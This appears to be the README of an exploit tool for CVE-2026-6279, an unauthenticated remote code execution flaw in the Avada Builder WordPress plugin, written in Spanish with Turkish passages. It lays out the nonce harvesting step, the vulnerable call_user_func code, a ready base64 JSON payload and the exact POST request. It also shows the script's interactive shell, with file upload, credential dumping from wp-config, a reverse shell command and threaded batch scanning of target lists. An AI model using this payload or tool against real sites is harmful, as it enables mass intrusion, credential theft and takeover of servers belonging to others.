xxconi/cve-2026-6279CVE-2026-6279: Avada (Fusion) Builder <= 3.15.2 – Ejecución remota de código no autenticada mediante inyección de funciones PHP a través del atributo de shortcode 'render_logics' a través del manejador AJAX de widget (fusion-builder)
| Campo | Detalle |
|---|
| CVE ID | CVE-2026-6279 |
| Afectado | Avada Builder (Fusion Builder) <= 3.15.2 |
| Tema | WordPress Avada Theme |
| Instalaciones activas | 900.000+ |
| Tipo de vulnerabilidad | Inyección de funciones PHP → RCE sin autenticación |
| CVSS v3.1 | 9.8 (Crítico) |
| Vector | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| Autenticación | ❌ No requerida |
| Interacción del usuario | ❌ No requerida |
| Investigador | xxcoin |
| Fecha de publicación | 2026-05-24 |
┌─────────────────────────────────────────────────────────────────┐
│ │
│ 1. NONCE TESPİT │
│ wp_create_nonce('fusion_load_nonce') → UID 0 │
│ [fusion_post_cards] veya [fusion_table_of_contents] │
│ shortcode'u olan herkese açık sayfalarda JS'e eklenir │
│ │ │
│ ▼ │
│ 2. UNAUTHENTICATED AJAX │
│ wp_ajax_nopriv_fusion_get_widget_markup │
│ check_ajax_referer() → sadece nonce geçerliliği kontrol │
│ eder, kullanıcı kimliği doğrulanmaz │
│ │ │
│ ▼ │
│ 3. DESERİALİZASYON │
│ base64_decode(render_logics) → json_decode() │
│ Yapı doğrulaması yok — saldırgan kontrolündeki JSON │
│ │ │
│ ▼ │
│ 4. call_user_func() — ALLOWLIST YOK │
│ get_value() → wp_conditional_tags case │
│ call_user_func($value['function'], $value['args']) │
│ Herhangi bir PHP fonksiyonu çağrılabilir │
│ │ │
│ ▼ │
│ 5. RCE ✓ │
│ system("id") → uid=1000(xxcoin) │
│ Web sunucusu yetkisiyle tam komut yürütme │
│ │
└─────────────────────────────────────────────────────────────────┘
class-fusion-builder-conditional-render-helper.php — L1531:
// VULNERABLE CODE
case 'wp_conditional_tags':
$decoded = json_decode( base64_decode( $render_logics ), true );
// ❌ Allowlist kontrolü yok
return call_user_func( $decoded['function'], $decoded['args'] );
{
"type": "wp_conditional_tags",
"value": {
"function": "system",
"args": "id"
}
}
Se codifica en Base64 y se envía como campo POST
render_logics.
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
action=fusion_get_widget_markup
fusion_load_nonce=<nonce>
render_logics=<base64_payload>
widget_type=WP_Widget_Recent_Posts
type=WP_Widget_Recent_Posts
widget_id=2
number=2
| Función | Argumento | Resultado | Estado |
|---|---|---|---|
system() | id | uid=1000(xenon1337) | ✅ Exitoso |
passthru() | id | uid=1000(xenon1337) | ✅ Exitoso |
shell_exec() | id | uid=1000(xenon1337) | ✅ Exitoso |
exec() | id | uid=1000(xenon1337) | ✅ Exitoso |
file_get_contents() | /etc/passwd | root:x:0:0:... | ✅ Exitoso |
proc_open() | — | — | ❌ Requiere 2+ argumentos |
popen() | — | — | ❌ Requiere 2+ argumentos |
Nota:
call_user_func($fn, $arg)acepta un solo argumento por naturaleza. Las funciones comoproc_open,popenque requieren 2+ argumentos no pueden ser invocadas a través de esta vulnerabilidad.
1. Avada, fusion_load_nonce'u UID 0 (public kullanıcı) için üretir
2. [fusion_post_cards] veya [fusion_table_of_contents] shortcode'u
içeren sayfalarda nonce JS çıktısına eklenir → herkes görebilir
3. check_ajax_referer('fusion_load_nonce') sadece nonce'un
geçerliliğini doğrular — kullanıcının kimliğini doğrulamaz
4. Sonuç: Herhangi bir ziyaretçi nonce'u alıp endpoint'i çağırabilir
| Archivo | Línea | Función | Descripción |
|---|---|---|---|
class-fusion-builder-conditional-render-helper.php | L1083 | should_render() | deserialización de render_logics |
class-fusion-builder-conditional-render-helper.php | L1531 | get_value() | ⚠️ call_user_func() — sin allowlist |
fusion-widget.php | L44 | — | conexión de render_logics |
fusion-widget.php | L389 | — | registro del handler AJAX wp_ajax_nopriv |
class-fusion-builder.php | L7551 | — | registro de nonce determinista para UID 0 |
pip install requests packaging
# Menülü mod (single + batch)
python3 CVE-2026-6279.py
# Protokolsüz (otomatik tespit)
python3 CVE-2026-6279.py target.com
# Protokol ile
python3 CVE-2026-6279.py http://target.com
python3 CVE-2026-6279.py https://target.com
# Port ile
python3 CVE-2026-6279.py target.com:8080
python3 CVE-2026-6279.py http://target.com:8080
♡ [1] Single target · interactive shell
◆ [2] Batch scan · file exploit
✗ [3] Exit
shell> id # komut çalıştır
shell> cd /var/www/html # dizin değiştir
shell> upload local.php /tmp/x.php # dosya yükle
shell> download /etc/passwd # dosya indir
shell> wp-config # DB bilgileri
shell> recon # sistem taraması
shell> revshell 10.0.0.1 4444 # reverse shell
shell> exit # çık
# targets.txt formatı:
target1.com
http://target2.com
https://target3.com:8080
# yorum satırı (atlanır)
♡ targets file [targets.txt]:
♡ threads [10]: 30
♡ command [id]:
♡ output file [vuln.txt]:
╔══════════════════════════════════════════════════════════════╗
║ CVE-2026-6279 · Avada Builder <= 3.15.2 ║
║ Unauthenticated RCE via call_user_func() ║
║ Copyright © 2026 xxcoin · Thanks: xxcoin 💜 ║
╚══════════════════════════════════════════════════════════════╝
★ Avada tespit edildi! (http://localhost:8888)
★ nonce: b6d7b084c2 (src: /blog/) [shortcode✓]
★ AJAX: http://localhost:8888/wp-admin/admin-ajax.php
★ RCE: system() [B] [WP_Widget_Recent_Posts]
• uid=1000(xxcoin) gid=1000(xxcoin) groups=1000
shell> uname -a
• Linux debian 6.1.0-21-amd64 #1 SMP x86_64 GNU/Linux
shell> wp-config
• DB_NAME=wordpress
• DB_USER=wp_user
• DB_PASSWORD=s3cr3t_p4ss!
• DB_HOST=localhost
| Métrica | Valor |
|---|---|
| Vector de ataque | Red |
| Complejidad de ataque | Baja |
| Privilegios requeridos | Ninguno |
| Interacción del usuario | Ninguna |
| Alcance | Sin cambios |
| Confidencialidad | Alta |
| Integridad | Alta |
| Disponibilidad | Alta |
| Puntuación total | 9.8 — CRÍTICO |
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Esta herramienta es solo para pruebas de seguridad autorizadas y fines educativos. El acceso no autorizado a sistemas es ilegal. Toda la responsabilidad es del usuario.
telegram. https://t.me/+-GYq8ydL9AYwZGI8)
CVE-2026-6279 · Avada Builder <= 3.15.2 ·xxcoin · 2026
Agradecimientos especiales: Shadow Girlfriend 💜